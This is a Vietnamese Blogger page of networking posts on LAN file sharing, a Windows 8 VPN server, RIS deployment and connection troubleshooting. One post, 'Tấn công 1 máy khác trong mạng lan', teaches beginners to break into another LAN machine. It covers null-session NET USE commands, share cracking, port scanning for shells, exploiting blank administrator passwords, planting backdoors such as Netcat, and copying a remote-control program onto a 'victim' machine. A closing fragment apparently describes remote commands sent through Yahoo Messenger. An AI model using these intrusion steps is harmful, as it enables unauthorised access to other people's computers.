• This is slide 1 description. Go to Edit HTML of your blogger blog. Find these sentences. You can replace these sentences with your own words.
  • This is slide 2 description. Go to Edit HTML of your blogger blog. Find these sentences. You can replace these sentences with your own words.
  • This is slide 3 description. Go to Edit HTML of your blogger blog. Find these sentences. You can replace these sentences with your own words.
  • This is slide 4 description. Go to Edit HTML of your blogger blog. Find these sentences. You can replace these sentences with your own words.
  • This is slide 5 description. Go to Edit HTML of your blogger blog. Find these sentences. You can replace these sentences with your own words.
Hiển thị các bài đăng có nhãn Lan - net. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn Lan - net. Hiển thị tất cả bài đăng

Thứ Bảy, 1 tháng 11, 2014

Phương pháp chia sẻ dữ liệu tối ưu với các máy tính hoạt động trên cùng một mạng LAN.

Phương pháp chia sẻ dữ liệu tối ưu với các máy tính hoạt động trên cùng một mạng LAN.

Để chia sẻ dữ liệu giữa một hệ thống các máy tính đặt gần nhau có rất nhiều cách. Bạn có thể sử dụng USB để di chuyển dữ liệu qua lại hoặc gửi chúng qua email. Tuy nhiên, nếu những chiếc máy tính này cùng được nối mạng LAN thì chúng ta sẽ có một số cách chia sẻ dữ liệu nhanh và dễ dàng hơn rất nhiều.
Thủ thuật chia sẻ dữ liệu nhanh nhất trên hệ thống máy tính “liền kề”

Dưới đây, chúng tôi xin giới thiệu 3 cách chia sẻ dữ liệu tối ưu nhất cho cụm máy tính đặt gần nhau. Đó là sử dụng Windows Homegroup, đồng bộ qua Dropbox LAN và đồng bộ bằng BitTorrent.
1. Windows Homegroup
Giả sử các máy tính này đang sử dụng hệ điều hành Windows 7 hoặc Windows 8, công cụ Windows Homegroup là một trong những cách dễ nhất để chia sẻ tập tin giữa chúng. Việc thiết lập Homegroup không đòi hỏi nhiều thao tác quá phức tạp. Bạn có thể tạo Homegroup từ tùy chọn Homegroup trong Windows Explorer (File Explorer trên Windows 8), sau đó thiết lập một mật khẩu truy cập chung cho các thiết bị. Để các máy tính gần đó có thể tham gia Homegroup của bạn, họ sẽ phải nhập chính xác mật khẩu mà bạn đã tạo.
Thủ thuật chia sẻ dữ liệu nhanh nhất trên hệ thống máy tính “liền kề”

Sau khi nhập đúng mật khẩu, người dùng ở các máy tính xung quanh sẽ có quyền truy cập vào các tập tin chia sẻ của bạn với điều kiện tất cả đang ở trên cùng một mạng LAN. Trước đó, bạn có thể chọn và giới hạn các loại dữ liệu mà mình muốn chia sẻ trong khi tạo Homegroup như file ảnh, video, âm nhạc hay tài liệu Office.
Những người dùng trên các máy tính khác chỉ cần chọn Homegroup trong mục quản lý tập tin của họ, xem nội dung các tập tin mà bạn đã chia sẻ, cuối cùng họ có thể chọn và tải chúng về máy tính một cách dễ dàng. Nếu một người dùng mới muốn tham gia và tải dữ liệu thông qua Homegroup của bạn, họ cũng không cần phải trải qua các bước cấu hình mạng phức tạp trên máy tính, bạn chỉ cần cung cấp cho họ mật khẩu để vào Homegroup và việc tải dữ liệu cũng sẽ không còn gặp trở ngại gì.
Người dùng Linux cũng có thể sử dụng các tính năng chia sẻ tập tin được tích hợp sẵn trong hệ điều hành này, mọi thao tác cũng tương đối đơn giản như trên Windows vậy.
2. Đồng bộ Dropbox LAN
Hiện nay có rất nhiều người sử dụng các dịch vụ lưu trữ đám mây như Dropbox, Google Drive hay SkyDrive để chia sẻ dữ liệu với nhau. Tuy nhiên, việc tải dữ liệu lên mây sau đó tải về thường tiêu tốn khá nhiều thời gian. Đặc biệt với những tập tin có dung lượng lớn thì việc chia sẻ trên mây dường như là không khả thi. Nhưng nếu hệ thống các máy tính của bạn đều sử dụng chung một mạng kết nối, bạn có thể chia sẻ dữ liệu trực tiếp thông qua Dropbox bằng tính năng “LAN Sync” của ứng dụng này.
Thủ thuật chia sẻ dữ liệu nhanh nhất trên hệ thống máy tính “liền kề”

Sử dụng Dropbox LAN Sync trên cùng một mạng kết nối, những dữ liệu bên trong hai máy tính có thể chuyển qua lại mà không cần tải lên mây rồi tải về, nhờ đó tiết kiệm được rất nhiều thời gian. Đây chính là ưu điểm đặc biệt của Dropbox mà chưa có ở bất kì dịch vụ lưu trữ đám mây nào. Thậm chí bạn có thể chia sẻ file có dung lượng tới 1 GB qua LAN Sync trong thời gian ngắn. Ngoài ra, bạn cũng có thể chia sẻ các folder trong Dropbox của mình với những máy tính cùng mạng qua LAN Sync.
Tuy nhiên cần phải lưu ý rằng bạn phải có đủ dung lượng trong tài khoản Dropbox khi chia sẻ vì tập tin này sẽ tự động được tải vào tài khoản Dropbox của bạn. Nếu như file cần chia sẻ có dung lượng nhỏ và các máy tính không có kết nối mạng LAN thì Google Drive hay SkyDrive cũng là những sự lựa chọn không tồi.
3. Đồng bộ qua Bittorrent Sync
Về cơ bản, BitTorrent Sync có tác dụng tương tự như Dropbox, SkyDrive, Google Drive, chúng đều có mục đích là đồng bộ dữ liệu giữa 2 hoặc nhiều máy tính với nhau. Tuy nhiên về mặt triển khai thì Bittorrent Sync có nhiều điểm khác biệt so với các dịch vụ lưu trữ đám mây, việc chia sẻ và đồng bộ dữ liệu giữa hai máy được thực hiện thông qua giao thức P2P chứ không lưu trên một máy chủ trung gian. Chính vì vậy Bittorrent Sync không bị giới hạn về số dung lượng dữ liệu chia sẻ và mọi dữ liệu chỉ được lưu trữ trên các thiết bị của bạn nên hoàn toàn do bạn kiểm soát chúng.
Thủ thuật chia sẻ dữ liệu nhanh nhất trên hệ thống máy tính “liền kề”

Nếu bạn cấu hình Bittorrent Sync hoạt động giữa các máy tính trên một mạng nội bộ, nó sẽ không tải bất cứ thứ gì lên internet. Không giống như Windows Homegroup, Bittorrent Sync sẽ tự động đồng bộ hóa các thư mục mà bạn chỉ định, do đó bạn không cần tự sao chép các tập tin qua lại trong thư mục.
Bạn chỉ cần cài đặt Bittorrent Sync trên các máy tính đang cùng làm việc trên cùng một mạng, chọn thư mục muốn chia sẻ, và tạo một khóa an toàn. Sau đó cung cấp “khóa” đó cho các máy tính khác chạy Bittorrent Sync, nhờ vậy các máy tính trong mạng LAN có thể truy cập và sử dụng các tập tin mà bạn chia sẻ trên máy tính của mình. Do hoạt động trong mạng nội bộ nên tính bảo mật của Bittorrent Sync cũng được đánh giá rất cao.
Ngoài 3 phương pháp trên, còn có nhiều cách khác giúp bạn có thể chia sẻ dữ liệu giữa các máy tính với nhau. Nếu các máy tính này không hoạt động trên cùng một mạng, bạn có thể tạo một mạng ad-hoc không dây hoặc thậm chí kết nối chúng trực tiếp bằng một cáp Ethernet.
Tham khảo: Howtogeek.com

Tạo VPN Server trên Windows 8

Không cần phải cài đặt thêm bất cứ ứng dụng nào, bạn vẫn có thể dễ dàng “biến” máy tính của mình thành máy chủ VPN nếu đang sử dụng Windows 8.

Khởi tạo VPN Server trên Windows 8

Bước 1

Trên giao diện Modern UI của Windows 8, bạn nhấn tổ hợp phím Windows + Q để mở sidebar tìm kiếm. Sau đó, nhập vào "ncpa.cpl". Kết quả hiện ra, nhấn chọn ncpa.cpl để kích hoạt Network Connections. Ngoài ra, bạn cũng có thể mở cửa sổ Network Connections từ giao diện Desktop.
Tạo VPN Server trên Windows 8

Bước 2

Nhấn phím Alt sẽ thấy xuất hiện thêm một thanh menu trên cửa sổ Network Connections, vào File, chọn New Incoming Connection.
Tạo VPN Server trên Windows 8

Bước 3

Thông thường, Windows đã có sẵn một số tài khoản người dùng, người dùng có thể sử dụng để làm tài khoản đăng nhập VPN từ xa, nhưng tốt hơn hết, bạn nên tạo mới tài khoản dành riêng cho VPN. Rất đơn giản, chỉ cần nhấn Add someone, nhập tên tài khoản (User name), tên đầy đủ (Full name), mật mã (Password) và xác nhận lại mật mã (Confirm password). Xong, nhấn OK. Lần lượt, bạn có thể tạo nhiều tài khoản như vậy.
Tạo VPN Server trên Windows 8

Bước 4

Đánh dấu chọn vào trước tên những tài khoản muốn dùng, trong danh sách User accounts on this computer, nhấn Next.
Tạo VPN Server trên Windows 8

Bước 5

Như vậy là đã hoàn thành những bước thiết lập chính, bạn tiếp tục nhấn Next, Allow access, rồi đợi cho ứng dụng xử lý một số tác vụ cần thiết. Xong, nhấn Close.
Tạo VPN Server trên Windows 8

Tạo VPN Client sử dụng Windows 7/8

Sau khi hoàn thành việc tạo VPN Server trên Windows 8, bạn có thể đăng nhập từ xa bằng một máy tính khác cùng sử dụng Windows 8, hoặc Windows 7

Với Windows 8

Bước 1

Trên giao diện Modern UI, nhấn Windows + Q, nhập "virtual private" vào ô tìm kiếm, chọn Set up a virtual private network (VPN) connnection trong kết quả hiện ra.
Tạo VPN Server trên Windows 8

Bước 2

Cửa sổ tạo kết nối VPN xuất hiện, bạn nhập địa chỉ IP của VPN Server vào ô Internet address, đặt tên bất kỳ cho kết nối VPN ở ô Destination name.
Tạo VPN Server trên Windows 8

Bước 3

Trong danh sách các kết nối hiện hành, sẽ xuất hiện tên kết nối VPN vừa khởi tạo, bạn nhấn Connect ở kết nối này.
Tạo VPN Server trên Windows 8

Bước 4

Khai báo User name và Password của tài khoản đã được chọn dùng trong lúc tạo VPN Server, nhấn OK.
Tạo VPN Server trên Windows 8

Với Windows 7

Bước 1

Bạn nhấn phím Windows, nhập vpn vào ô tìm kiếm, chọn Set up a virtual private network (VPN) connnection.
Tạo VPN Server trên Windows 8

Bước 2

Khai báo địa chỉ IP của VPN Server và đặt tên cho kết nối VPN đang tạo, nhấn Next.
Tạo VPN Server trên Windows 8

Bước 3

Cung cấp thông tin tài khoản VPN đã tạo, nhấn Connect. Xong, nhấn Close.
Tạo VPN Server trên Windows 8

Bước 4

Trong danh sách kết nối đã có thêm tên của kết nối VPN, bạn nhấn vào đây, chọn Connect.
Tạo VPN Server trên Windows 8

Lưu ý

Nếu đã khai báo thông tin tài khoản chính xác, nhưng vẫn không thể đăng nhập được vào VPN Server, thì có thể vào lại cửa sổ Network Connections (ncpa.cpl) của máy tính đang dùng làm VPN Server (Windows 8), nhấn chuột phải lên kết nối đã tạo, chọn Properties, thẻ User, bỏ chọn trước dòng Require all users to secure their passwords and data, OK.
Sau khi kết nối thành công đến VPN Server, để truy cập vào thư mục chia sẻ dữ liệu của VPN Server từ máy khách hiện tại, bạn gõ theo cú pháp \địa_chỉ_IP. Ví dụ: \192.168.120.128.
Tạo VPN Server trên Windows 8
Với cách này, bạn có thể chia sẻ dữ liệu từ các máy tính trong khuôn khổ một hệ thống mạng LAN đơn giản theo kiểu Remote Access. Còn nếu muốn mở rộng phạm vi sử dụng, bạn cần phải thực hiện cấu hình chuyển tiếp gói tin (Forward Ports), DNS từ Modem/Router khá phức tạp.

Thứ Bảy, 27 tháng 7, 2013

Triển khai cài đặt WINDOWS tự động qua mạng LAN

Nếu ai đã từng triển khai cài đặt hệ điều hành Windows xuống một hệ thống mới hoàn toàn hay nâng cấp 1 hệ thống mạng sẵn có với vài chục máy tính, bạn sẽ thấy công việc tự tay cài đặt “sạch” cho từng máy thật sự là một cơn ác mộng...
Nếu làm 1 phép tính cộng đơn giản, mỗi máy bạn phải mất 1 giờ để hoàn thành cài đặt bao gồm cả hệ điều hành (HĐH) và những phần mềm cơ bản, với 1 mạng 50 máy, bạn phải hao phí ít nhất 50 giờ để 1 người hoàn thành hết các máy trong mạng. Rõ ràng, phương án này không phải là cách tốt nhất khi bạn phải triển khai công việc trên nhiều máy trong 1 khoảng thời gian hạn chế. Một số người chọn phương án dùng các phần mềm tạo ảnh như Norton Ghost để “chụp” lại toàn bộ 1 máy mẫu vào CD ROM rồi nhân bản thủ công cho từng máy khác. Phương pháp này giải quyết được vấn đề thời gian nhưng vướng phải sự bất ổn định của HĐH khi mà cấu hình phần cứng các máy khác nhau.
Nếu hệ thống mạng của bạn chạy Windows 2000 hay Windows 2003, bạn có thể sử dụng các công cụ hỗ trợ triển khai cài đặt tự động Windows xuống các máy trong mạng thông qua mạng nội bộ một cách nhanh chóng và hiệu quả. Windows 2000 hay Windows 2003 hỗ trợ 2 hình thức cài đặt: cài đặt từ ảnh (image-base installation) sử dụng công cụSysprep hay Remote Installation Preparation Wizard (Riprep.exe) và cài từ file nguồn(file-base installation) sử dụng công cụ Unattend (Winnt32.exe) và Remote Installation Services Setup (Risetup.exe). Các công cụ này cho phép người quản trị tùy biến quá trình cài đặt tự động hay có sự tương tác của người sử dùng. Kỹ thuật này thật sự hiệu quả và tiết kiệm được nhiều thời gian, công sức đối với những tổ chức, công ty có số lượng nhiều máy hay trong trường hợp một số máy phải cài lại Windows.
Chúng ta cần phân biệt sự khác nhau của 2 hình thức triển khai theo ảnh và theo file cài đặt. Bạn sử dụng hình thức cài đặt tự động từ ảnh OS trong trường hợp các máy cần cài đặt có cùng cấu hình phần cứng và triển khai cả phần mềm kèm theo vì hệ điều hành của máy đích là sự sao chép toàn bộ của máy nguồn (chúng ta có thể hình dung giống như Ghost). Ngược lại, bạn sử dụng phương pháp cài đặt theo file cài đặt trong trường hợp cài “sạch” cho các máy không phân biệt cấu hình phần cứng. Bài viết này sẽ giới thiệu với các bạn phương pháp triển khai theo file cài đặt và không phụ thuộc vào cấu hình phần cứng của máy đích bằng công cụ dịch vụ cài đặt từ xa Remote Installation Service (RIS) có trên phiên bản Windows 2000 và 2003.
Phương pháp RIS cần 2 thành phần: Server và Client. Server chạy dịch vụ cài đặt từ xa RIS và cung cấp file cài đặt cho Client khi được yêu cầu từ phía Client. Quá trình cài đặt từ phía Client được thực hiện tự động từ khâu tìm kiếm server cung cấp nguồn cài đặt, tải file về và thực hiện cài đặt tự động. RIS có sự kết hợp của 1 ảnh cơ bản (các file nguồn) của kiểu cài đặt nhân bản (Ghost), cộng với cài đặt bằng dòng lệnh. Do vậy, cách này cho phép cài đặt trên nhiều cấu hình phần cứng khác nhau. Việc cài đặt bằng RIS sẽ giảm thiểu nhiều công sức và thời gian của người quản trị, nhưng bù lại bạn phải làm việc khá vất vả vì việc cấu hình RIS khá phức tạp.
Điều kiện thực hiện
  • Server cài đặt RIS phải có 2 phân vùng khác nhau vì phân vùng chứa các thông tin và các ảnh đĩa phải khác với phân vùng hệ thống.
  • Phân vùng cài đặt RIS phải được định dạng theo chuẩn NTFS.
  • Hệ thống mạng của bạn phải có sử dụng các dịch vụ DNS, DHCP và Active Directory.
  • RIS Server phải được xác thực trong Active Directory trong trường hợp server chạy RIS độc lập với DHCP Server. Nếu RIS server cũng là DHCP server, thì server tự động xác thực.
Cài đặt RIS server
  • Start >> Settings >> Control Panel. Nhấp đôi Add/Remove Programs >> Add/Remove Windows Components. Dò theo danh sách chọn Remote Installation Services và nhấp Next để cài đặt (hình 1).
  • Sau khi cài đặt xong, bạn phải vào Start > All Programs > Administrator Tools > Remote Install Services Setup để cài đặt tiếp cho RIS. Quá trình cài đặt yêu cầu bạn cung cấp tên thư mục chia sẻ tài nguyên mà RIS sẽ sử dụng (Để mặc định), địa chỉ tập tin dùng cài đặt (Đĩa CD XP) và bước cuối cùng là copy tất các tập tin cần thiết từ CD cài đặt XP lên RIS server. (hình 2)
Xác thực RIS server (trong trường hợp DHCP và RIS là 2 server độc lập)
Vào DHCP và Action trên thanh Menu >> Manage Authorize Servers. Nếu RIS server chưa xuất hiện trong danh sách, nhấn Authorize và nhập IP của RIS Server và xác thực. (hình 3)
Cấu hình RIS Server
Trong phần cấu hình RIS Server, chúng ta chọn cách đặt tên cho các tài khoản máy sẽ được tạo trong quá trình tham gia vào miền. Vào Computer and Active Directory > chọn Domain Controller trong danh sách bên phải > Nhấp chuột phải lên RIS server chọn Properties. Trong hộp thoại Properties, chọn thẻ Remote Install > Advance Settings > Trong mục Client computer naming format, chọn Customize > Trong hộp thoại Customize, trong mục Format nhập vào %Username. Tham số %Username sẽ lấy tên đang nhập (Username) của người dùng để đặt tên cho máy. Bạn có thể chọn cách đặt tên khác dựa trên các tham số %First, %Last, … cho phù hợp với chính sách công ty bạn. (hình 4)
Cấu hình Group Policy
Để đảm bảo cho quá trình cài đặt không bị vướng bởi bất kỳ hộp thoại nào đòi hỏi thông tin từ người dùng, chúng ta phải quy định chính sách trong User Configuration > Windows Settings > Remote Installation Services. Nhấp kép chuột vào Choice Options và chọn Automatic Setup là Enable. Các mục Restart Setup và Tool, chọn Disable. (hình 5)
Cấp quyền khởi tạo tạm thời cho các users.
Bởi khi cài đặt, máy con sẽ tự tham gia vào Domain, với tên máy là username của người dùng như chúng ta quy định ở bước trên. Do đó, người dùng phải có quyền tạo tài khoản máy trên OU (Organization Unit) Computer của AD. Để thuận tiện, chúng ta sẽ tạo một nhóm tạm thời tên temp_RISInstall và add tất cả các thành viên, nhóm sẽ sử dụng các máy sắp cài đặt vào nhóm này. Sau đó add nhóm temp_RISInsatll vào nhóm Account Operators. Khi việc cài đặt hoàn thành, bạn chỉ cần xóa nhóm này hay remove nó ra khỏi nhóm Account Operator là được.
Chỉnh sửa file ristndrd.sif và file Startrom.com
Trong quá trình cài đặt, ngay bước đầu tiên boot từ DOS, máy yêu cầu bạn nhấn phím F12 để vào chế độ boot qua mạng. Để loại bỏ bước này, bạn hãy vào \\OSChooser\i386 đổi tên tập tin startrom.com thành startrom.com.bak và copy file startrom.n12 và đổi tên thành startrom.com (hình 7)
Tiếp đến mở file ristndrd.sif trong thư mục \\ Setup\English\Images\Windows\i386\templates. Mở file này bằng Notepad.exe, tìm đến đoạn [UserData] và thêm vào dòng ProductID= “số CD key” (hình 8) và lưu lại.
Tạo đĩa boot mạng
Để cho 1 máy chưa có Hệ điều hành truyền thông được vói RIS Server, Card mạng của máy cần cài đặt phải có tích hợp boot qua mạng (PXE), hoặc bạn dùng đĩa mềm hay đĩa CD ROM có chức năng Boot từ mạng. Bạn có thể học cách tạo đĩa boot mạng bằng chương trình Symantec Ghost tại http://help.ischool.washington.edu/faqs/12_29_en.htmlhay tải file đã tạo săn tại http://help.ischool.washington.edu/faqs/attachments/29/Ghost8-CD-Boot.zip, giải nén và ghi vào CD.
Cài đặt
Tôi giả sử rằng bạn đã hệ thống hạ tầng mạng của bạn hoạt động tốt và bạn đã cấu hình trong BIOS để boot qua mạng hay boot từ CD boot mạng. Giờ thì khởi động từng máy và mọi việc sẽ trông giống như thế này:
Máy khởi động và tìm kiếm DHCP server và khởi động Client Installation Wizard (hình 9 và 10)
Nhấn Enter để tiếp tục. Chương trình hỏi bạn nhập tài khoản khởi tạo. Lưu ý rằng tên tài khoản sẽ được dùng để đặt tên máy. Nhấn Enter 2 lần để xác nhận. Giờ thì bạn có thể nghỉ ngơi hay đánh 1 giấc. Sau khi thức dậy, bạn sẽ thấy 1 hệ điều hành mới toanh đang chờ đón bạn.
Dịch vụ cài đặt từ xa RIS được xem là khá phức tạp. Để sử dụng được hết sức mạnh của dịch vụ này, bạn phải chịu khó tham khảo thêm thông tin và các bài hướng dẫn của Microsoft. Bằng dịch vụ RIS, bạn có thể thay đổi các thông tin xuất hiện trước người sử dụng bằng sự thay đổi các file *.osc hay hoàn toàn tự động khi cài đặt. Ngoài ra, bạn còn có thể sử dụng các công cụ sysprep.exe hay RIPrep.exe để tạo thêm các file ảnh khác hay tạo thêm các thư mục chức năng để cài đặt các trình điều khiển nhằm hoàn chỉnh hoàn toàn khi máy Clients kết thúc quá trình cài đặt.
(Sưu tầm)

Thứ Sáu, 26 tháng 7, 2013

Mẹo khắc phục nhanh khi kết nối Internet bị 'đứt'

Khi đang duyệt web mà thấy thông báo "The page cannot be displayed" (trang không hiển thị được) thì có thể kết nối mạng của đã hỏng. Những cách sau đây sẽ giúp phục hồi lại.
1. Khởi động lại kết nối
Cách đơn giản nhất là bấm chuột phải vào biểu tượng Local Area Connection trên khay hệ thống (hoặc vào bằng cách bấm chuột phải ở icon My Network Places > chọn Properties) > Disable. Sau đó, bấm Enable lại.
Nếu cách này không được, người dùng có thể thử các biện pháp liên quan đến địa chỉ IP:
2. Lấy lại địa chỉ IP
Nếu thuê bao DSL hay cáp, bạn có thể đang dùng địa chỉ IP động - có nghĩa là địa chỉ kết nối PC với Internet sẽ thay đổi mỗi lần đăng nhập. Địa chỉ này được chỉ định nhờ giao thức DHCP. Tuy nhiên, trong quá trình hoạt động, DHPC có thể không cấp địa chỉ mới khi máy khởi động và bạn sẽ "kẹt" với địa chỉ IP cũ và không kết nối được Internet.
Dù hệ thống kết nối trực tiếp qua modem hay router, bước đầu tiên bạn phải làm là lấy một địa chỉ IP được chỉ định bằng cách nhấn chuột phải vào biểu tượng kết nối mạng trên khay hệ thống, chọn Repair. Windows sẽ tự động loại bỏ địa chỉ cũ và yêu cầu địa chỉ mới từ router hoặc nhà cung cấp dịch vụ (phụ thuộc vào cách PC được kết nối). Phần lớn các trường hợp, cách này khá hiệu quả. Nhưng nếu không khắc phục được, bạn phải giải quyết bằng tay.
Nhấn vào menu Start > Run > gõ dòng cmd. (Trong Windows Vista, chỉ cần gõ cmd vào hộp thoại Start Search). Ở dấu nhắc đợi lệnh trên màn hình DOS, gõ ipconfig để xem địa chỉ IP hiện tại, subnet mask và gateway mặc định cho tất cả các adapter. Các adapter khác có thể bao gồm card Wi-Fi và Bluetooth, mặc dù chúng sẽ xuất hiện trong trạng thái không kết nối.
Bản thân câu lệnh này chỉ hiển thị thông tin chứ không làm được gì. Muốn lấy một địa chỉ IP khác, hãy gõ thêm tham số /release và /renew sau chữ ipconfig và một dấu cách. ipconfig /release sẽ điều khiển máy chủ DHCP xóa địa chỉ IP hiện có của tất cả các adapter, dù là mạng Ethernet hay không dây. Sau đó, lệnh ipconfig /renewnếu thành công thì một địa chỉ IP mới, một subnet mask mới và một gateway mặc định mới sẽ xuất hiện.
3. Kiểm tra cache DNS
Khi bạn vẫn kết nối được Internet nhưng không thể vào một trang nào đó, có thể trục trặc ở cache máy khách DNS gây ra điều này. DNS đã dịch tên văn bản tên miền Internet thành số IP. Ví dụ Amazon.com trở thành 207.171.171.132. Cache lưu một hồ sơ về các trang bạn đã ghé qua để lần sau, khi vào tiếp, sẽ tải nhanh hơn. Đôi khi, một phần của file bị hỏng và khiến PC không thể tìm lại nơi lưu trữ. Xóa cache chính là cách giải quyết vấn đề này.
Gõ dòng lệnh ipconfig /displaydns để xem danh sách các tranh đã ghé qua. Nếu không có tên trang web mà bạn cần vào thì gõ tiếp ipconfig /flushdns để xóa danh sách này. Sau đó, gõ lại địa chỉ web trên trình duyệt.
4. Dùng thêm các tham số khác của ipconfig
Ipconfig có nhiều tham số khác dành cho việc xử lý rắc rối ở cấp độ cao hơn, và nếu bạn may mắn thì sẽ không bao giờ cần đến chúng. Gõ ipconfig /? để nghiên cứu thêm.
5. Ping địa chỉ IP 
Cũng trong cửa sổ DOS, lệnh ping làm vai trò xác định kết nối mạng của máy tính. Việc ping này sẽ gửi gói dữ liệu tới host, có thể ví von giống như tàu ngầm truyền sóng âm tới một vật thể dưới nước để xác định khoảng cách, lệnh ping ước lượng thời gian đi hai chiều của gói tin, đưa nó về và hiển thị bất kỳ tình trạng mất gói tin nào.
Trước hết, nhìn lại địa chỉ IP của máy tính (ví dụ 127.0.0.1) và gõ ping 127.0.0.1 ở dấu nhắc đợi lệnh, đợi vài giây chờ phản hồi. Windows sẽ cố gắng ping đến card mạng của hệ thống xem thiết bị có hoạt động không. Nếu bạn nhận lại được gói tin nghĩa là adapter mạng hoạt động ổn. Giờ ping đến một địa chỉ ngoài bằng cách gõ vào đó, ví dụ ping google.com. Nếu có gói tin trả lại, kết nối mạng của bạn đã được thiết lập.
Tuy nhiên, nếu không nhận được gói tin này, bạn hãy thử ping địa chỉ IP của gateway mặc định. Nếu cách này cũng không được, phần cứng (modem, router, dây nối) của bạn có vấn đề và phải kiểm tra lại.
6. Kiểm tra phần cứng
Nếu máy tính nối trực tiếp với modem DSL, hãy kiểm tra các dây nối được gắn chặt với các điểm nối, đèn modem phải sáng. Kiểm tra lại cổng Ethernet trên PC xem đèn có sáng không. Nếu đèn tắt trong khi cáp được nối vào máy tính (bật điện) thì có nghĩa là phải thay cổng Ethernet.
Nếu đèn sáng mà vẫn không có kết nối, hãy tắt các thiết bị mạng của bạn và đợi một lát rồi bật lại. Cần làm theo các trình tự sau đây.
- Tắt PC, rút dây điện của modem. Nếu đang dùng router thì tháo dây điện củarouter.
- Sau đó khởi động lại modem. Sau khi nó đã khởi động xong và có đèn báo kết nối, hãy bật router và đợi router khởi động lại.
- Khi hoàn thành việc này, bật PC, mở trình duyệt để kiểm tra kết nối.
Nếu tất cả các thao tác trên đều thất bại thì đã đến lúc bạn phải gọi hỗ trợ từ nhà cung cấp dịch vụ. Hãy cho họ biết bạn đã làm những thao tác trên để họ không phải làm lại, mất thời gian. Có thể nguyên nhân là một lỗi nào đó trong hệ thống hay trên đường dây kéo từ ngoài vào nhà bạn.
(theo PC World)

Thứ Bảy, 29 tháng 6, 2013

Tấn công 1 máy khác trong mạng lan

Dưới đây sẽ giới thiệu sơ lược cho các bạn một vài cách thức cơ bản để kiểm tra và tìm cách đột nhập vào 1 máy tính trong LAN.
1- Kiểm tra IPC share: IPC viết tắt của Inter-Process Communication, được dùng trong việc chia sẻ dữ liệu giữa các ứng dụng và máy tính trên mạng (NT/2K). Khi một máy được khởi động và log vào mạng, hdh sẽ tạo 1 chia sẻ ngầm định tên là IPC$. Nó sẽ giúp cho các máy khác có thể nhìn thấy và kết nối đến các chia sẻ trên máy này. Tuy nhiên, có thể vì một lý do gì đó, người dùng xóa mất IPC$ share, do đó, ta cần kiểm tra và tạo lại kết nối đến IPC$ (gọi là null connection), nếu kết nối thành công, ta có thể thấy được cả các chia xẻ đặc biệt được ẩn (bao gồm C$, ADMIN$, IPC$, IPC$). Cụ thể, dùng 1 trong 3 lệnh sau ở command prompt:
C:\>NET USE \\TARGET\IPC$ "" /USER:""
C:\>NET USE \\TARGET\IPC$ * /USER:
C:\>NET USE \\TARGET\IPC$ * /USER:""

trong đó: target là computername hoặc IP của máy bạn muốn kết nối.
Lưu ý, các chia xẻ có dấu $ phía sau tên chỉ ra rằng chia xẻ đó được ẩn và cách này chỉ áp dụng khi cổng NetBios 139 của máy bạn và máy đích được mở.
Thường là đối với chia xẻ dạng này, bạn sẽ ít có cơ hội khai thác được gì. Tuy nhiên, nếu may mắn, bạn vẫn có thể khai thác được trong trường hợp các chia xẻ đó không yêu cầu mật khẩu.

Kế đến, bạn dùng lệnh sau để xem các chia xẻ thấy được:
C:\>net view \\TARGET
Lệnh net view sẽ liệt kê danh sách các share của máy đích. Bạn dùng net view /? để biết thêm các cách dùng khác.
Sau khi tạo được null connection và biết được các share trên máy đối phương. Ðối với các share được bảo vệ bằng username/password, bạn có thể dùng các tool sau để thử crack chúng: Nat (NetBIOS Auditing Tool)...
Ðể tiết kiệm thời gian, bạn tìm và dùng thử chương trình xSharez scanner, cũng có thể cho bạn kết quả tương tự.

2- Kiểm tra các cổng mở
Một cách khác để connect vào một máy là duyệt các port mở của máy đích. Tuỳ loại port mà ta có cách thức khai thác khác nhau, đơn giản nhất là dùng telnet để connect vào máy thông qua port được mở, ví dụ: C:\telnet anhnguyen 69
Một số port thông dụng:
21: FTP
23: Telnet proxy server
25: SMTP
110: POP3
139: NETBIOS
1080: SOCKS proxy
6667: IRC mapping
.....
Các công cụ để scan port có rất nhiều, ví dụ như: superscan, elite, ....
Sau khi scan được port nào đang opened, nếu port đó ngoài những port trên, bạn thử dùng telnet để connect, nếu thành công, bạn có thể vào command prompt shell của máy đó.

3- Kiểm tra các lổ hổng của OS/Software
Cách cuối cùng tớ nói ở đây, cũng là cách khó nhất là duyệt xem máy đó đang dùng OS gì, server gì, software nào. Mỗi loại trên có các hole/vulnerability riêng, được tìm thấy và mô tả chi tiết trong các site về security như ntbugtraq, securityfocus, hoặc trong forum.
Từ những lổ hổng biết được, ta sử dụng các exploit tương ứng để thâm nhập vào máy.
Lỗi sơ đẳng nhất trong các system software là lỗi về cách đặt password, ví dụ như các máy Wins 9x có thể vào mà không cần password (tất nhiên là khi đó, người log vào sẽ bị hạn chế truy cập các tài nguyên mạng); hoặc như với NT/2K, sau khi setup, password ngầm định của adminnistrator là rỗng, nếu user không thay đổi pass cho admin, thì ta có thể connect remote được dưới username là administrator mà không cần pass.
Các lỗi còn lại thường là do các sai sót trong quá trình viết chương trình mà vô tình tạo nên những lỗ hổng, các đoạn code kiểm tra không đầy đủ, không stable...cho phép người dùng thực thi các lệnh, chạy các chương trình từ xa. Ví dụ như bug Unicode encoding của IIS4... Và cách thường dùng để nhập là tìm cách send 1 trojant/backdoor (điển hình như Netcat...)đến máy đó, chạy backdoor đó để mở 1 port nhất định nào đó, rồi ta sẽ connect remote vào port đó.

Trên đây chỉ là một số phương pháp sơ đẳng để giúp các bạn (newbie) hiểu được các cách thức có thể dùng để thâm nhập vào máy từ xa. Còn rất nhiều phương pháp khác mà tớ không liệt kê hết (vì không biết! hehe), các bạn sẽ từ từ tìm hiểm thêm.
Nếu các bạn không làm được thì để mấy chương trình này làm hộ cho:
1- Remote Desktop Control (bạn phải cài trên cả hai máy)website: http://www.remote-desktop-control.com
2- Remote anything (http://www.twd-industries.com)
Với phần mềm này bạn chỉ cần copy file slave.exe vào máy nạn nhân là xong
Ngoài ra còn có phần mềm truy cập máy tính qua mạng internet như logmein (miễn phí)và nhiều phần mềm khác

Chủ Nhật, 15 tháng 1, 2012

Các lệnh trong dos

Các lệnh trong dos
02/07/2009 21:36 | 587 lượt xem
Trong phiên bản này, đây là một số câu lệnh khởi đầu cho việc kiểm soát.

/Result Kết quả của quá trình thực thi sẽ được gửi về ngay sau khi quá trình hoàn tất. Nhưng nếu như nội dung của kết quả gửi về quá dài (nhiều hơn 200 ký tự), nó sẽ được gửi lần lượt, liên tục. Bởi vì Yahoo! Messenger không cho phép nội dung có số ký tự vượt quá giới hạn đã định sẵn.

